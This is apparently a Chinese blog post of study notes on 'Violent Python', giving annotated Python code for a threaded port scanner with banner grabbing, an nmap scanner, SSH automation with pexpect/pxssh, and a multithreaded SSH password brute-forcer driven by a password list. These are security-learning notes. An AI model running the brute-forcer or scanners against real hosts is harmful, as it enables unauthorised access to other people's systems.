《Python绝技》编程实战二
作者:互联网
scanPort
- 实现自动化扫描并测试目标主机的开放端口以及端口应用。
- 细节类似上一章中的
getBanner
。
开源代码
portScanner
- 简单地实现扫描目标主机多个端口的效果。
main
parser = optparse.OptionParser('usage:%prog -H <targer Host> -P <port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-P', dest='tgtPorts', type='string', help='specify target ports')
(options, args) = parser.parse_args()
if (options.tgtHost == None) or (options.tgtPorts == None):
print(parser.usage)
exit(0)
tgtHost = options.tgtHost
tgtPorts = options.tgtPorts.split(',')
portScan(tgtHost, tgtPorts)
- 在
main()
完成对目标主机的绑定。
portScan
try:
tgtIP = gethostbyname(tgtHost)
except:
print('[-] Cannot resolve \'%s\' : Unknown host' %tgtHost)
return
try:
tgtName = gethostbyaddr(tgtIP)
print('\n[+] Scan results for : ' + tgtName[0])
except:
print('\n[+] Scan results for : ' + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
thrd = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
thrd.start()
-
若输入的目标主机为域名,则对其进行域名解析,得到目的主机
IP
地址。明确目标主机后,对指定的端口组分配线程进行处理。 -
gethostbyaddr()
是C
语言的一个方法名,意思是返回对应于给定地址的主机信息。 -
gethostbyname()
返回对应于给定主机名的包含主机名字和地址信息的hostent
结构的指针。结构的声明与gethostbyaddr()
中一致。
connScan
try:
connsock = socket(AF_INET, SOCK_STREAM)
connsock.connect((tgtHost, tgtPort))
connsock.send('Port Opening Test\r\n'.encode())
res = connsock.recv(1024)
screenLock.acquire()
print('[+] %d/tcp opened'%tgtPort)
showBanner(res)
except:
screenLock.acquire()
print('[-] %d/tcp closed'%tgtPort)
finally:
screenLock.release()
connsock.close()
connScan()
为线程调用的函数,负责一个端口的检查。screenLock.acquire()
为互斥信号量的加锁步骤。screenLock.release()
为互斥信号量的释放步骤。这两个函数的目的是使得并行的线程对screenLock()
进行互斥访问,保证屏幕打印有序。
showBanner
encoding = chardet.detect(res)['encoding']
if encoding:
print('[+] '+str(res, encoding=encoding))
else:
print('[+] '+str(res, encoding='utf-8'))
return
-
用于对返回的二进制串进行处理且得到输出。
-
ret = chardet.detect(变量)
可以查看原有变量的编码类型。
nmapScanner
- 借助
Nmap
的Python
库对目标主机的端口组进行扫描,大体同portScanner
。
nmapScan
scanner = nmap.PortScanner()
scanner.scan(tgtHost, tgtPort)
state = scanner[tgtHost]['tcp'][int(tgtPort)]['state']
print('[*] '+tgtHost+' tcp/'+tgtPort+' '+state)
- 调用
nmap
库得到端口扫描的类,使用类中用于扫描的方法即可对目的主机的单一端口进行扫描。
sshCrack
- 实现自动化连接
ssh
并且执行命令。
有点鸡肋,因为没有密码也过不了,没有攻击性。
开源代码
pexpect
- 预测输出结果,对不同结果采取不同的应对方式。
main
if len(sys.argv) == 5:
host = sys.argv[1]
user = sys.argv[2]
passwd = sys.argv[3]
command = sys.argv[4]
shell = connect(host, user, passwd)
exec_command(shell, command)
else:
print('Usage:%prog <target host> <user> <password> <command>')
- 从命令行获取参数,执行
connect()
之后得到shell
,在shell
中即可执行指定命令。
connect
conn = 'ssh '+user+'@'+host
result = pexpect.spawn(conn)
ssh_newkey = 'Are you sure you want to continue connecting'
ssh_passwd = '[P|p]assword:'
ret = result.expect([ssh_passwd, ssh_newkey, pexpect.TIMEOUT])
if ret == 1:
result.sendline('yes')
ret = result.expect([ssh_passwd, pexpect.TIMEOUT, ssh_newkey])
if ret == 2:
print('[-] Error Connecting')
return
result.sendline(passwd)
print('send passwd')
result.expect(PROMPT)
- 该函数用于
ssh
连接并返回一个连接好的shell
或者报错退出。 pexpect.spawn()
派生一个程序,它返回这个程序的操作句柄,以后可以通过操作这个句柄来对这个程序进行操作。- 当
spawn()
启动了一个程序并返回程序控制句柄后,就可以用expect()
方法来等待指定的关键字了。 expect()
使用正则表达式匹配,对于ssh
登录后的自动输出可能造成错误匹配。并且对所需匹配的字符要明确,不然无法构造PROMPT
。send()
用来向程序发送指定的字符串,此处使用sendline()
可以自动在发送的字符串末尾加上回车。
exec_command
shell.sendline(cmd)
shell.expect(PROMPT)
print(shell.before)
- 该函数用于对指定命令的执行,打印输出的结果。
before
变量用于存储上一次输出的最后100
个字节(buffer
大小),可能导致输出打印不全。
pxssh
pxssh
包含了pexpect
并将里面的函数封装好了,可以直接用于和SSH
交互。
开源代码
main
parser = optparse.OptionParser('usage %prog '+\
'-H <target host> -u <user> -F <password list>'
)
parser.add_option('-H', dest='tgtHost', type='string',\
help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string',\
help='specify password file')
parser.add_option('-u', dest='user', type='string',\
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print(parser.usage)
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print ("[*] Exiting: Password Found")
exit(0)
if Fails > 5:
print ("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print ("[-] Testing: "+str(password))
t = Thread(target=connect, args=(host, user, password, True))
t.start()
- 获得指定参数的值,确定目的主机的
IP
和用户以及破解用的本地密码集。 - 使用枚举密码集的每一个密码,使用线程的方式处理。并使用信号量对同时访问的线程个数进行限制。
connect
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print ('[+] Password Found: ' + password)
Found = True
except Exception as e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_lock.release()
- 尝试指定密码连接目的主机。
- 若因连接过快失败(
read_nonblocking
)五次直接报错退出;若因命令提示符提取困难(synchronize with original prompt
)则等待重连。 pxssh.pxssh()
返回一个类型,使用该类型进行登录。login()
中封装好了pexpect
的方法,可以直接调用连接目的主机。
sshNet
- 使用类的方式对pxssh实现控制终端的过程进行了封装。
Client
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print ('[-] Error Connecting')
print (e)
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
参考
标签:tgtHost,Python,self,编程,host,绝技,print,password,user 来源: https://www.cnblogs.com/cheuhxg/p/15043098.html